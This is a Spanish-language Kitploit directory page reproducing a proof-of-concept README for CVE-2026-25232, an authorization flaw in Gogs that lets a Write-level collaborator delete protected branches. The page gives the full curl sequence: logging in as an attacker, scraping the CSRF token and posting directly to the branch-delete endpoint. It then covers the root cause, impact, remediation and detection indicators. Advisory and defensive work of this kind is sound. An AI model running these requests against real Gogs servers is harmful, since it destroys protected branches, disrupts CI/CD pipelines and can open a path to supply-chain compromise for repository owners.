Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-25232-PoC — Prueba de concepto para el reciente CVE-2026-25232, que es una vulnerabilidad de escalada de privilegios presente en Gogs. | Kitploit
Herramientas/GitHubGitHub/h1sok444/cve-2026-25232-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubh1sok444/cve-2026-25232-poc

CVE-2026-25232-PoC

Prueba de concepto para el reciente CVE-2026-25232, que es una vulnerabilidad de escalada de privilegios presente en Gogs.

Ver Repositorio
14hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-25232 — Omisión de Eliminación de Ramas Protegidas en Gogs (Escalada de Escritura → Administrador)

Resumen

CampoDetalles
CVECVE-2026-25232
ProductoGogs (Go Git Service)
Versiones Afectadas<= 0.13.4
Versión Corregida0.14.1
Puntuación CVSSMedia
CWECWE-863: Autorización Incorrecta
Autenticación RequeridaSí (Permisos de escritura en un repositorio)
ImpactoEscalada de privilegios de Escritura → operaciones de nivel Administrador

Descripción

CVE-2026-25232 es una vulnerabilidad de omisión de control de acceso en la interfaz web de Gogs. Permite que cualquier colaborador del repositorio con permisos de Escritura elimine ramas protegidas — incluida la rama predeterminada — enviando una solicitud POST directa al endpoint DeleteBranchPost, omitiendo por completo los mecanismos de protección de ramas.

La causa raíz es una discrepancia entre cómo la capa de Git Hooks y la interfaz web aplican la protección de ramas:

  • Git Hooks (SSH): Bloquean correctamente la eliminación de ramas protegidas mediante operaciones push por SSH
  • Interfaz Web: La función DeleteBranchPost no activa Git Hooks, por lo que la verificación de protección nunca se ejecuta

Esto permite que un colaborador con privilegios bajos realice operaciones que deberían estar restringidas únicamente a los administradores del repositorio.


Requisitos Previos

  • Una cuenta registrada en Gogs
  • Permisos de escritura en un repositorio objetivo
  • Ramas protegidas configuradas en el repositorio objetivo
  • Acceso de red a la interfaz web de Gogs

Prueba de Concepto

Entorno

  • Objetivo: http://<TARGET>:3001
  • Cuenta del atacante: attacker:Password123! (Permisos de escritura en el repositorio)
  • Repositorio objetivo: admin/important-repo
  • Rama protegida: main (rama predeterminada)

Paso 1 — Verificar que la Protección de Ramas Está Habilitada

Confirme que la rama está protegida y no se puede eliminar por medios normales:

root@kitploit:~
# Intento de eliminación normal de rama mediante API - esto debería fallar
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Respuesta esperada: 403 Forbidden o error de protección.


Paso 2 — Obtener un Token CSRF Válido

Obtenga el token CSRF de cualquier página autenticada:

root@kitploit:~
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# Extraer el token CSRF de una página del repositorio
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Paso 3 — Omitir la Protección mediante POST Directo a DeleteBranchPost

Envíe una solicitud POST directa al endpoint de eliminación de ramas, omitiendo la verificación de protección:

root@kitploit:~
curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

La rama protegida se elimina a pesar de que el atacante solo tiene permisos de Escritura.


Paso 4 — Verificar la Eliminación

root@kitploit:~
curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

La rama main ya no aparecerá en la respuesta.


Por Qué Funciona

La función DeleteBranchPost en el manejador web de Gogs valida que el usuario esté autenticado y tenga acceso de Escritura al repositorio, pero no verifica si la rama objetivo está protegida:

root@kitploit:~
HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
¿Verificación: el usuario está autenticado? ✓
¿Verificación: el usuario tiene acceso de Escritura? ✓
¿Verificación: la rama está protegida? ✗ (FALTA)
    ↓
Rama eliminada con éxito

La capa de Git Hooks que aplica la protección de ramas solo se activa durante operaciones push/delete de Git mediante SSH o protocolo Git HTTP — no durante operaciones de la interfaz web. Esta brecha arquitectónica significa que cualquier colaborador con nivel de Escritura puede realizar esta operación.


Impacto

Un colaborador malicioso con permisos de Escritura puede:

  • Eliminar cualquier rama protegida, incluida la rama predeterminada
  • Destruir la línea principal de desarrollo del repositorio
  • Interrumpir los pipelines de CI/CD que dependen de la rama protegida
  • Realizar force-push o recrear ramas sin protección, permitiendo la inyección de código en pipelines de producción
  • Escalar privilegios efectivos de Escritura → nivel Administrador para operaciones de gestión de ramas

En entornos donde los repositorios de Gogs alimentan pipelines de despliegue automatizado, esto podría provocar un compromiso de la cadena de suministro.


Remediación

Actualice a Gogs v0.14.1 o posterior. La corrección añade verificaciones de autorización adecuadas en la función DeleteBranchPost para comprobar el estado de protección de ramas antes de permitir la eliminación, independientemente de cómo se realice la solicitud.

Como mitigación temporal:

  • Restrinja el acceso de Escritura al repositorio solo a usuarios altamente confiables
  • Implemente controles de acceso a nivel de red para limitar quién puede acceder a la interfaz web de Gogs
  • Supervise los registros del servidor web en busca de solicitudes POST inesperadas a /repos/{owner}/{repo}/branches/delete
  • Utilice soluciones de copia de seguridad externas para mantener copias de las ramas protegidas

Detección

Busque los siguientes indicadores de explotación:

  • Solicitudes POST inesperadas a /<owner>/<repo>/branches/delete en los registros del servidor web
  • Ramas protegidas eliminadas sin actividad correspondiente de Git Hooks en los registros
  • Eventos de eliminación de ramas por usuarios que no tienen privilegios de Administrador
  • Rama predeterminada ausente o cambiada inesperadamente

Referencias

  • Aviso de Seguridad de GitHub GHSA-2c6v-8r3v-gh6p
  • Lanzamiento de Gogs v0.14.1
  • CWE-863: Autorización Incorrecta

Aviso Legal

Este PoC es solo para fines educativos y pruebas de seguridad autorizadas. No lo utilice contra sistemas para los que no tenga permiso explícito de prueba.

Descargar herramienta